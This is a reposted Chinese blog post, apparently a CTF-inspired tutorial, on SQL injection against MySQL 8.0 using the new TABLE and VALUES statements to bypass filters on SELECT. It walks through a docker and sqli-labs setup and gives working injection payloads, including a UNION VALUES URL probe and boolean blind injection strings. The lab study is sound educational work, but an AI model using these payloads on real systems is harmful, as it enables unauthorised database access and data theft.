MYSQL8.0注入新特性 您所在的位置:网站首页 ubuntu2110新特性 MYSQL8.0注入新特性

MYSQL8.0注入新特性

#MYSQL8.0注入新特性| 来源: 网络整理| 查看: 265

MYSQL8.0注入新特性

Macchiato / 2020-12-16 10:01:51 / 浏览数 12565 社区板块 WEB安全 顶(0) 踩(0) MYSQL8.0注入新特性

之前看到过一些文章,但是没复现,最近在嘶吼CTF碰到题目了,所以记录一下

0x01 环境配置

出现了两个新的关键字table和values,本来想用phpstudy搭建的,但是这两个出现在8.0.19之后..phpstudy只有8.0.12

选择使用docker搭建

docker pull mysql:8.0.22 docker run -itd -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql:8.0.22

sql注入的靶场用sqli-lab

https://github.com/c0ny1/vulstudy

按照文档搭建好,进入容器修改sqli-lab的配置文件,/app/sql-connections/db-creds.inc

数据库的IP填宿主机的就可以,通过ifconfig查看容器IP地址

比如容器IP为:172.18.0.2,一般来说宿主机为172.18.0.1

重新配置数据库 ,会报错,因为mysql8.0默认认证方式和5不一样,通过下面语句修改即可

ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY '123456';

再次配置数据库,环境搭建完成

0x02 table

先看一下官方文档

htt ps://dev.mysql.com/doc/refman/8.0/en/table.html

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

官方文档描述和TABLE和SELECT有类似的功能

可以列出表的详细内容

0x03 values

https://dev.mysql.com/doc/refman/8.0/en/values.html

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index

values可以构造一个表

values可以接在union后面,可以判断列数

select * from users where id = 1 union values row(1,2,3)

如果列数不对会报错

0x04 靶机测试

修改Less-1的代码,过滤select

首先用order by判断列数

然后使用values判断回显的位置

http://192.168.163.130/Less-1/?id=-1' union values row(1,2,3)--+

然后就是常规的需要知道库名,表名,字段名

当前库可以通过布尔盲注得到

1&&substr((database()),1,1)='c'

别的库名可以通过盲注得到

table information_schema.schemata #列出所有数据库名

因为table不能像select控制列数,除非列数一样的表,不然都回显不出来,也需要使用盲注

1&&('def','m','',4,5,6)


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有